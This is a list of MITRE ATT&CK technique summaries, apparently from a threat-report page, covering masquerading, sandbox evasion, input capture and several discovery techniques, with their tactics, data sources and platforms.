Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre